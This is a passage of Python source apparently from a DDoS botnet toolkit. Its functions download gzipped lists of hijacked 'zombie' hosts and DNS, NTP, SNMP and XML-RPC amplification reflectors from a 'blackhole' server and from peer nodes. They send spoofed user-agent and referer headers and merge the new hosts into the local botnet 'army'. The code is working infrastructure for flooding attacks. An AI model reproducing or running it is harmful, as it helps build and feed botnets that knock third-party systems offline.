  2496. streams = urllib.request.Request('http://'+self.blackhole+'/ufonet/streams.txt', None, headers)
  2497. streams_reply = urllib.request.urlopen(streams, context=self.ctx).read().decode('utf-8')
  2498. globalnet = urllib.request.Request('http://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
  2499. globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx).read().decode('utf-8')
  2500. nodes = urllib.request.Request('http://'+self.blackhole+'/ufonet/nodes.txt', None, headers)
  2501. nodes_reply = urllib.request.urlopen(nodes, context=self.ctx).read().decode('utf-8')
  2502. f = open(self.news_file, 'w')
  2503. f.write(news_reply)
  2504. f.close()
  2505. f = open(self.tv_file, 'w')
  2506. f.write(tv_reply)
  2507. f.close()
  2508. f = open(self.missions_file, 'w')
  2509. f.write(missions_reply)
  2510. f.close()
  2511. f = open(self.board_file, 'w')
  2512. f.write(board_reply)
  2513. f.close()
  2514. f = open(self.grid_file, 'w')
  2515. f.write(grid_reply)
  2516. f.close()
  2517. f = open(self.wargames_file, 'w')
  2518. f.write(wargames_reply)
  2519. f.close()
  2520. f = open(self.links_file, 'w')
  2521. f.write(links_reply)
  2522. f.close()
  2523. f = open(self.streams_file, 'w')
  2524. f.write(streams_reply)
  2525. f.close()
  2526. f = open(self.globalnet_file, 'w')
  2527. f.write(globalnet_reply)
  2528. f.close()
  2529. f = open(self.nodes_file, 'w')
  2530. f.write(nodes_reply)
  2531. f.close()
  2532. print('-'*25 + "\n")
  2533. print("[Info] [AI] GUI data correctly updated:\n")
  2534. if news_reply:
  2535. print("[Info] [AI] [News] : OK!")
  2536. if missions_reply:
  2537. print("[Info] [AI] [Missions] : OK!")
  2538. if board_reply:
  2539. print("[Info] [AI] [Board] : OK!")
  2540. if grid_reply:
  2541. print("[Info] [AI] [Grid] : OK!")
  2542. if wargames_reply:
  2543. print("[Info] [AI] [Wargames] : OK!")
  2544. if links_reply:
  2545. print("[Info] [AI] [Links] : OK!")
  2546. if streams_reply:
  2547. print("[Info] [AI] [Streams] : OK!")
  2548. if tv_reply:
  2549. print("[Info] [AI] [TV] : OK!")
  2550. if globalnet_reply:
  2551. print("[Info] [AI] [GlobalNet]: OK!")
  2552. if nodes_reply:
  2553. print("[Info] [AI] [Nodes] : OK!")
  2554. print('-'*25)
  2555. print("\n[AI] "+self.exit_msg+"\n")
  2556. def downloading_list(self):
  2557. # add your mirror to protect/share/distribute... [Zombies]
  2558. try:
  2559. print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))
  2560. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2561. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2562. if self.options.timeout: # set timeout
  2563. try:
  2564. timeout = int(self.options.timeout)
  2565. except:
  2566. timeout = 5
  2567. else:
  2568. timeout = 5
  2569. if timeout < 1:
  2570. timeout = 5
  2571. if self.options.proxy: # set proxy
  2572. self.proxy_transport(self.options.proxy)
  2573. if self.options.forcessl:
  2574. try:
  2575. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2576. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2577. except:
  2578. abductions_reply = ""
  2579. try:
  2580. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2581. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2582. except:
  2583. troops_reply = ""
  2584. try:
  2585. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2586. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2587. except:
  2588. robots_reply = ""
  2589. try:
  2590. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2591. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2592. except:
  2593. drones_reply = ""
  2594. try:
  2595. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2596. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2597. except:
  2598. reflectors_reply = ""
  2599. try:
  2600. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2601. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2602. except:
  2603. crystals_reply = ""
  2604. try:
  2605. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2606. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2607. except:
  2608. warps_reply = ""
  2609. try:
  2610. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2611. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2612. except:
  2613. bosons_reply = ""
  2614. else:
  2615. try:
  2616. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2617. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2618. except:
  2619. abductions_reply = ""
  2620. try:
  2621. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2622. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2623. except:
  2624. troops_reply = ""
  2625. try:
  2626. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2627. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2628. except:
  2629. robots_reply = ""
  2630. try:
  2631. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2632. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2633. except:
  2634. drones_reply = ""
  2635. try:
  2636. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2637. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2638. except:
  2639. reflectors_reply = ""
  2640. try:
  2641. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2642. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2643. except:
  2644. crystals_reply = ""
  2645. try:
  2646. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2647. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2648. except:
  2649. warps_reply = ""
  2650. try:
  2651. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
  2652. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2653. except:
  2654. bosons_reply = ""
  2655. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  2656. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2657. print('-'*12 + '\n')
  2658. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2659. return
  2660. f = open('botnet/abductions.txt.gz', 'wb')
  2661. f.write(abductions_reply)
  2662. f.close()
  2663. f = open('botnet/troops.txt.gz', 'wb')
  2664. f.write(troops_reply)
  2665. f.close()
  2666. f = open('botnet/robots.txt.gz', 'wb')
  2667. f.write(robots_reply)
  2668. f.close()
  2669. f = open('botnet/drones.txt.gz', 'wb')
  2670. f.write(drones_reply)
  2671. f.close()
  2672. f = open('botnet/reflectors.txt.gz', 'wb')
  2673. f.write(reflectors_reply)
  2674. f.close()
  2675. f = open('botnet/crystals.txt.gz', 'wb')
  2676. f.write(crystals_reply)
  2677. f.close()
  2678. f = open('botnet/warps.txt.gz', 'wb')
  2679. f.write(warps_reply)
  2680. f.close()
  2681. f = open('botnet/bosons.txt.gz', 'wb')
  2682. f.write(bosons_reply)
  2683. f.close()
  2684. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2685. except:
  2686. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2687. print('-'*12 + '\n')
  2688. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2689. return
  2690. print('-'*12 + '\n')
  2691. f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')
  2692. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2693. f_out_abductions.write(f_in_abductions.read())
  2694. f_in_abductions.close()
  2695. f_out_abductions.close()
  2696. os.remove('botnet/abductions.txt.gz') # remove abductions .gz file
  2697. f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')
  2698. f_out_troops = open('botnet/troops.txt', 'wb')
  2699. f_out_troops.write(f_in_troops.read())
  2700. f_in_troops.close()
  2701. f_out_troops.close()
  2702. os.remove('botnet/troops.txt.gz') # remove troops .gz file
  2703. f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')
  2704. f_out_robots = open('botnet/robots.txt', 'wb')
  2705. f_out_robots.write(f_in_robots.read())
  2706. f_in_robots.close()
  2707. f_out_robots.close()
  2708. os.remove('botnet/robots.txt.gz') # remove robots .gz file
  2709. f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')
  2710. f_out_drones = open('botnet/drones.txt', 'wb')
  2711. f_out_drones.write(f_in_drones.read())
  2712. f_in_drones.close()
  2713. f_out_drones.close()
  2714. os.remove('botnet/drones.txt.gz') # remove drones .gz file
  2715. f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')
  2716. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2717. f_out_reflectors.write(f_in_reflectors.read())
  2718. f_in_reflectors.close()
  2719. f_out_reflectors.close()
  2720. os.remove('botnet/reflectors.txt.gz') # remove reflectors .gz file
  2721. f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')
  2722. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2723. f_out_crystals.write(f_in_crystals.read())
  2724. f_in_crystals.close()
  2725. f_out_crystals.close()
  2726. os.remove('botnet/crystals.txt.gz') # remove crystals .gz file
  2727. f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')
  2728. f_out_warps = open('botnet/warps.txt', 'wb')
  2729. f_out_warps.write(f_in_warps.read())
  2730. f_in_warps.close()
  2731. f_out_warps.close()
  2732. os.remove('botnet/warps.txt.gz') # remove warps .gz file
  2733. f_in_bosons = gzip.open('botnet/bosons.txt.gz', 'rb')
  2734. f_out_bosons = open('botnet/bosons.txt', 'wb')
  2735. f_out_bosons.write(f_in_bosons.read())
  2736. f_in_bosons.close()
  2737. f_out_bosons.close()
  2738. os.remove('botnet/bosons.txt.gz') # remove bosons .gz file
  2739. num_abductions = 0
  2740. with open('botnet/abductions.txt') as f:
  2741. for _ in f:
  2742. num_abductions = num_abductions + 1
  2743. print("[Info] Zombies: " + str(num_abductions))
  2744. num_robots = 0
  2745. with open('botnet/robots.txt') as f:
  2746. for _ in f:
  2747. num_robots = num_robots + 1
  2748. print("[Info] Droids : " + str(num_robots))
  2749. num_troops = 0
  2750. with open('botnet/troops.txt') as f:
  2751. for _ in f:
  2752. num_troops = num_troops + 1
  2753. print("[Info] Aliens : " + str(num_troops))
  2754. num_drones = 0
  2755. with open('botnet/drones.txt') as f:
  2756. for _ in f:
  2757. num_drones = num_drones + 1
  2758. print("[Info] UCAVs : " + str(num_drones))
  2759. num_reflectors = 0
  2760. with open('botnet/reflectors.txt') as f:
  2761. for _ in f:
  2762. num_reflectors = num_reflectors + 1
  2763. print("[Info] X-RPCs : " + str(num_reflectors))
  2764. num_crystals = 0
  2765. with open('botnet/crystals.txt') as f:
  2766. for _ in f:
  2767. num_crystals = num_crystals + 1
  2768. print("[Info] DNSs : " + str(num_crystals))
  2769. num_warps = 0
  2770. with open('botnet/warps.txt') as f:
  2771. for _ in f:
  2772. num_warps = num_warps + 1
  2773. print("[Info] NTPs : " + str(num_warps))
  2774. num_bosons = 0
  2775. with open('botnet/bosons.txt') as f:
  2776. for _ in f:
  2777. num_bosons = num_bosons + 1
  2778. print("[Info] SNMPs : " + str(num_bosons))
  2779. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
  2780. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2781. print('-'*12)
  2782. if not self.options.forceyes:
  2783. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2784. print('-'*25)
  2785. else:
  2786. update_reply = "Y"
  2787. if update_reply == "n" or update_reply == "N":
  2788. os.remove('botnet/abductions.txt') # remove abductions file
  2789. os.remove('botnet/troops.txt') # remove troops file
  2790. os.remove('botnet/robots.txt') # remove robots file
  2791. os.remove('botnet/drones.txt') # remove drones file
  2792. os.remove('botnet/reflectors.txt') # remove reflectors file
  2793. os.remove('botnet/crystals.txt') # remove crystals file
  2794. os.remove('botnet/warps.txt') # remove warps file
  2795. os.remove('botnet/bosons.txt') # remove bosons file
  2796. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2797. print('-'*25)
  2798. print("\n[AI] "+self.exit_msg+"\n")
  2799. else:
  2800. zombies_ready = []
  2801. f = open('botnet/abductions.txt')
  2802. abductions = f.readlines()
  2803. f.close()
  2804. fz = open(self.zombies_file)
  2805. zombies = fz.readlines()
  2806. fz.close()
  2807. for abduction in abductions:
  2808. abduction = abduction.replace('\n','')
  2809. if abduction not in zombies:
  2810. zombies_ready.append(abduction)
  2811. else:
  2812. pass
  2813. self.update_zombies(zombies_ready)
  2814. os.remove('botnet/abductions.txt') # remove abductions .txt file
  2815. aliens_ready = []
  2816. f = open('botnet/troops.txt')
  2817. troops = f.readlines()
  2818. f.close()
  2819. fz = open(self.aliens_file)
  2820. aliens = fz.readlines()
  2821. fz.close()
  2822. for alien in troops:
  2823. alien = alien.replace('\n','')
  2824. if alien not in aliens:
  2825. aliens_ready.append(alien)
  2826. else:
  2827. pass
  2828. self.update_aliens(aliens_ready)
  2829. os.remove('botnet/troops.txt') # remove troops .txt file
  2830. droids_ready = []
  2831. f = open('botnet/robots.txt')
  2832. robots = f.readlines()
  2833. f.close()
  2834. fz = open(self.droids_file)
  2835. droids = fz.readlines()
  2836. fz.close()
  2837. for droid in robots:
  2838. droid = droid.replace('\n','')
  2839. if droid not in droids:
  2840. droids_ready.append(droid)
  2841. else:
  2842. pass
  2843. self.update_droids(droids_ready)
  2844. os.remove('botnet/robots.txt') # remove robots .txt file
  2845. ucavs_ready = []
  2846. f = open('botnet/drones.txt')
  2847. drones = f.readlines()
  2848. f.close()
  2849. fz = open(self.ucavs_file)
  2850. ucavs = fz.readlines()
  2851. fz.close()
  2852. for drone in drones:
  2853. drone = drone.replace('\n','')
  2854. if drone not in ucavs:
  2855. ucavs_ready.append(drone)
  2856. else:
  2857. pass
  2858. self.update_ucavs(ucavs_ready)
  2859. os.remove('botnet/drones.txt') # remove drones .txt file
  2860. rpcs_ready = []
  2861. f = open('botnet/reflectors.txt')
  2862. reflectors = f.readlines()
  2863. f.close()
  2864. fz = open(self.rpcs_file)
  2865. rpcs = fz.readlines()
  2866. fz.close()
  2867. for reflector in reflectors:
  2868. reflector = reflector.replace('\n','')
  2869. if reflector not in rpcs:
  2870. rpcs_ready.append(reflector)
  2871. else:
  2872. pass
  2873. self.update_rpcs(rpcs_ready)
  2874. os.remove('botnet/reflectors.txt') # remove reflectors .txt file
  2875. dnss_ready = []
  2876. f = open('botnet/crystals.txt')
  2877. crystals = f.readlines()
  2878. f.close()
  2879. fz = open(self.dnss_file)
  2880. dnss = fz.readlines()
  2881. fz.close()
  2882. for crystal in crystals:
  2883. crystal = crystal.replace('\n','')
  2884. if crystal not in dnss:
  2885. dnss_ready.append(crystal)
  2886. else:
  2887. pass
  2888. self.update_dnss(dnss_ready)
  2889. os.remove('botnet/crystals.txt') # remove crystals .txt file
  2890. ntps_ready = []
  2891. f = open('botnet/warps.txt')
  2892. warps = f.readlines()
  2893. f.close()
  2894. fz = open(self.ntps_file)
  2895. ntps = fz.readlines()
  2896. fz.close()
  2897. for warp in warps:
  2898. warp = warp.replace('\n','')
  2899. if warp not in ntps:
  2900. ntps_ready.append(warp)
  2901. else:
  2902. pass
  2903. self.update_ntps(ntps_ready)
  2904. os.remove('botnet/warps.txt') # remove warps .txt file
  2905. snmps_ready = []
  2906. f = open('botnet/bosons.txt')
  2907. bosons = f.readlines()
  2908. f.close()
  2909. fz = open(self.snmps_file)
  2910. snmps = fz.readlines()
  2911. fz.close()
  2912. for boson in bosons:
  2913. boson = boson.replace('\n','')
  2914. if boson not in snmps:
  2915. snmps_ready.append(boson)
  2916. else:
  2917. pass
  2918. self.update_snmps(snmps_ready)
  2919. os.remove('botnet/bosons.txt') # remove bosons .txt file
  2920. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2921. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2922. if not self.options.forceyes: # ask for update everything
  2923. print('-'*25 + "\n")
  2924. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  2925. else:
  2926. update_reply = "Y"
  2927. if update_reply == "n" or update_reply == "N":
  2928. print("\n[AI] "+self.exit_msg+"\n")
  2929. return
  2930. else:
  2931. try:
  2932. update_gui = self.update_gui_data() # update GUI data
  2933. except:
  2934. print('-'*25 +"\n")
  2935. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2936. print('-'*25)
  2937. print("\n[AI] "+self.exit_msg+"\n")
  2938. return
  2939. def downloading_nodes_list(self):
  2940. # add your node to protect/share/distribute... [Zombies]
  2941. from io import BytesIO
  2942. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2943. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2944. n = open(self.globalnet_file, 'r')
  2945. nodes = n.readlines()
  2946. n.close()
  2947. if not nodes:
  2948. print("[AI] [Control] Not any [Nodes] present in your [Radar]... [Exiting!]\n")
  2949. return
  2950. globalnet_list = []
  2951. if self.options.timeout: # set timeout
  2952. try:
  2953. timeout = int(self.options.timeout)
  2954. except:
  2955. timeout = 5
  2956. else:
  2957. timeout = 5
  2958. if timeout < 1:
  2959. timeout = 5
  2960. if self.options.proxy: # set proxy
  2961. self.proxy_transport(self.options.proxy)
  2962. for m in nodes:
  2963. m = m.replace('\n','')
  2964. if self.globalnet_msg_sep in m:
  2965. m = m.split(self.globalnet_msg_sep)
  2966. enc_globalnet_owner = m[0] # owner
  2967. enc_globalnet_comment = m[1] # comment
  2968. enc_globalnet_warp = m[2] # warp
  2969. enc_globalnet_ip = m[3] # extract IP
  2970. self.decrypt(self.crypto_key, enc_globalnet_ip)
  2971. if self.decryptedtext:
  2972. globalnet_ip = self.decryptedtext
  2973. self.decryptedtext = "" # clean decryptedtext buffer
  2974. print("[AI] Trying [Radar] [Blackhole] [Node]:", globalnet_ip, "\n")
  2975. if self.options.forcessl:
  2976. if self.options.proxy: # set proxy
  2977. self.proxy_transport(options.proxy)
  2978. try:
  2979. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/abductions.txt.gz', None, headers)
  2980. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2981. except:
  2982. abductions_reply = ""
  2983. try:
  2984. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/troops.txt.gz', None, headers)
  2985. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2986. except:
  2987. troops_reply = ""
  2988. try:
  2989. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/robots.txt.gz', None, headers)
  2990. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2991. except:
  2992. robots_reply = ""
  2993. try:
  2994. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/drones.txt.gz', None, headers)
  2995. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2996. except:
  2997. drones_reply = ""
  2998. try:
  2999. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/reflectors.txt.gz', None, headers)
  3000. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3001. except:
  3002. reflectors_reply = ""
  3003. try:
  3004. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/crystals.txt.gz', None, headers)
  3005. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3006. except:
  3007. crystals_reply = ""
  3008. try:
  3009. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/warps.txt.gz', None, headers)
  3010. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3011. except:
  3012. warps_reply = ""
  3013. try:
  3014. req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/bosons.txt.gz', None, headers)
  3015. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3016. except:
  3017. bosons_reply = ""
  3018. else:
  3019. if self.options.proxy: # set proxy
  3020. self.proxy_transport(options.proxy)
  3021. try:
  3022. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/abductions.txt.gz', None, headers)
  3023. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3024. except:
  3025. abductions_reply = ""
  3026. try:
  3027. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/troops.txt.gz', None, headers)
  3028. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3029. except:
  3030. troops_reply = ""
  3031. try:
  3032. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/robots.txt.gz', None, headers)
  3033. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3034. except:
  3035. robots_reply = ""
  3036. try:
  3037. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/drones.txt.gz', None, headers)
  3038. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3039. except:
  3040. drones_reply = ""
  3041. try:
  3042. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/reflectors.txt.gz', None, headers)
  3043. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3044. except:
  3045. reflectors_reply = ""
  3046. try:
  3047. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/crystals.txt.gz', None, headers)
  3048. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3049. except:
  3050. crystals_reply = ""
  3051. try:
  3052. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/warps.txt.gz', None, headers)
  3053. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3054. except:
  3055. warps_reply = ""
  3056. try:
  3057. req = urllib.request.Request('http://'+globalnet_ip+'/ufonet/bosons.txt.gz', None, headers)
  3058. bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  3059. except:
  3060. bosons_reply = ""
  3061. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
  3062. print("[AI] [Radar] [Blackhole] [Node] Reply: [VORTEX FAILED!]\n")
  3063. print("[AI] [Control] [Radar] [Blackhole] [Node] Action: [Removing!]")
  3064. print('-'*12 + '\n')
  3065. else:
  3066. print("[AI] [Radar] [Blackhole] [Node] Reply: [VORTEX READY!] ;-)")
  3067. print('-'*12)
  3068. num_zombies = 0
  3069. if abductions_reply is not "":
  3070. f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')
  3071. f_out_abductions = open('botnet/abductions.txt', 'wb')
  3072. f_out_abductions.write(f_in_abductions.read())
  3073. f_in_abductions.close()
  3074. f_out_abductions.close()
  3075. with open('botnet/abductions.txt') as f:
  3076. for _ in f:
  3077. num_zombies = num_zombies + 1
  3078. print("\n[Info] [Radar] [Blackhole] Total [Zombies]: "+ str(num_zombies))
  3079. num_robots = 0
  3080. if robots_reply is not "":
  3081. f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')
  3082. f_out_robots = open('botnet/robots.txt', 'wb')
  3083. f_out_robots.write(f_in_robots.read())
  3084. f_in_robots.close()
  3085. f_out_robots.close()
  3086. with open('botnet/robots.txt') as f:
  3087. for _ in f:
  3088. num_robots = num_robots + 1
  3089. print("[Info] [Radar] [Blackhole] Total [Droids] : "+ str(num_robots))
  3090. num_aliens = 0
  3091. if troops_reply is not "":
  3092. f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')
  3093. f_out_troops = open('botnet/troops.txt', 'wb')
  3094. f_out_troops.write(f_in_troops.read())
  3095. f_in_troops.close()
  3096. f_out_troops.close()
  3097. with open('botnet/troops.txt') as f:
  3098. for _ in f:
  3099. num_aliens = num_aliens + 1
  3100. print("[Info] [Radar] [Blackhole] Total [Aliens] : "+ str(num_aliens))
  3101. num_drones = 0
  3102. if drones_reply is not "":
  3103. f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')
  3104. f_out_drones = open('botnet/drones.txt', 'wb')
  3105. f_out_drones.write(f_in_drones.read())
  3106. f_in_drones.close()
  3107. f_out_drones.close()
  3108. with open('botnet/drones.txt') as f:
  3109. for _ in f:
  3110. num_drones = num_drones + 1
  3111. print("[Info] [Radar] [Blackhole] Total [UCAVs] : "+ str(num_drones))
  3112. num_reflectors = 0
  3113. if reflectors_reply is not "":
  3114. f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')
  3115. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  3116. f_out_reflectors.write(f_in_reflectors.read())
  3117. f_in_reflectors.close()
  3118. f_out_reflectors.close()
  3119. with open('botnet/reflectors.txt') as f:
  3120. for _ in f:
  3121. num_reflectors = num_reflectors + 1
  3122. print("[Info] [Radar] [Blackhole] Total [X-RPCs] : "+ str(num_reflectors))
  3123. num_crystals = 1 # black magic!
  3124. if crystals_reply is not "":
  3125. f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')
  3126. f_out_crystals = open('botnet/crystals.txt', 'wb')
  3127. f_out_crystals.write(f_in_crystals.read())
  3128. f_in_crystals.close()
  3129. f_out_crystals.close()
  3130. with open('botnet/crystals.txt') as f:
  3131. for _ in f:
  3132. num_crystals = num_crystals + 1
  3133. print("[Info] [Radar] [Blackhole] Total [NTPs] : "+ str(num_crystals))
  3134. num_warps = 1 # black magic!
  3135. if warps_reply is not "":
  3136. f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')
  3137. f_out_warps = open('botnet/warps.txt', 'wb')
  3138. f_out_warps.write(f_in_warps.read())
  3139. f_in_warps.close()
  3140. f_out_warps.close()
  3141. with open('botnet/warps.txt') as f:
  3142. for _ in f:
  3143. num_warps = num_warps + 1
  3144. print("[Info] [Radar] [Blackhole] Total [DNSs] : "+ str(num_warps))
  3145. num_bosons = 0
  3146. if bosons_reply is not "":
  3147. f_in_bosons = gzip.open(BytesIO(bosons_reply), 'rb')
  3148. f_out_bosons = open('botnet/bosons.txt', 'wb')
  3149. f_out_bosons.write(f_in_bosons.read())
  3150. f_in_bosons.close()
  3151. f_out_bosons.close()
  3152. with open('botnet/bosons.txt') as f:
  3153. for _ in f:
  3154. num_bosons = num_bosons + 1
  3155. print("[Info] [Radar] [Blackhole] Total [SNMPs] : "+ str(num_bosons))
  3156. print('-'*12 + '\n')
  3157. zombies = self.extract_zombies()
  3158. if not zombies:
  3159. return
  3160. zombies_added = 0
  3161. if os.path.isfile('botnet/abductions.txt'):
  3162. f = open('botnet/abductions.txt')
  3163. abductions = f.readlines()
  3164. abductions = [abduction.strip() for abduction in abductions]
  3165. f.close()
  3166. fz = open(self.zombies_file)
  3167. zombies = fz.readlines()
  3168. zombies = [zombie.strip() for zombie in zombies]
  3169. fz.close()
  3170. az = open('botnet/zombies.txt', 'a')
  3171. for abduction in abductions:
  3172. if abduction not in zombies:
  3173. zombies_added = zombies_added + 1
  3174. az.write(abduction+os.linesep)
  3175. else:
  3176. pass
  3177. az.close()
  3178. os.remove('botnet/abductions.txt') # remove abductions file
  3179. print("[Info] [Radar] [Blackhole] Added [Zombies]: " + str(zombies_added))
  3180. droids = self.extract_droids()
  3181. if not droids:
  3182. return
  3183. droids_added = 0
  3184. if os.path.isfile('botnet/robots.txt'):
  3185. f = open('botnet/robots.txt')
  3186. robots = f.readlines()
  3187. robots = [robot.strip() for robot in robots]
  3188. f.close()
  3189. fz = open(self.droids_file)
  3190. droids = fz.readlines()
  3191. droids = [droid.strip() for droid in droids]
  3192. fz.close()
  3193. ad = open('botnet/droids.txt', 'a')
  3194. for robot in robots:
  3195. if robot not in droids:
  3196. droids_added = droids_added + 1
  3197. ad.write(robot+os.linesep)
  3198. else:
  3199. pass
  3200. ad.close()
  3201. os.remove('botnet/robots.txt') # remove robots file
  3202. print("[Info] [Radar] [Blackhole] Added [Droids] : " + str(droids_added))
  3203. aliens = self.extract_aliens()
  3204. if not aliens:
  3205. return
  3206. aliens_added = 0
  3207. if os.path.isfile('botnet/troops.txt'):
  3208. f = open('botnet/troops.txt')
  3209. troops = f.readlines()
  3210. troops = [troop.strip() for troop in troops]
  3211. f.close()
  3212. fz = open(self.aliens_file)
  3213. aliens = fz.readlines()
  3214. aliens = [alien.strip() for alien in aliens]
  3215. fz.close()
  3216. at = open('botnet/aliens.txt', 'a')
  3217. for troop in troops:
  3218. if troop not in aliens:
  3219. aliens_added = aliens_added + 1
  3220. at.write(troop+os.linesep)
  3221. else:
  3222. pass
  3223. at.close()
  3224. os.remove('botnet/troops.txt') # remove troops file
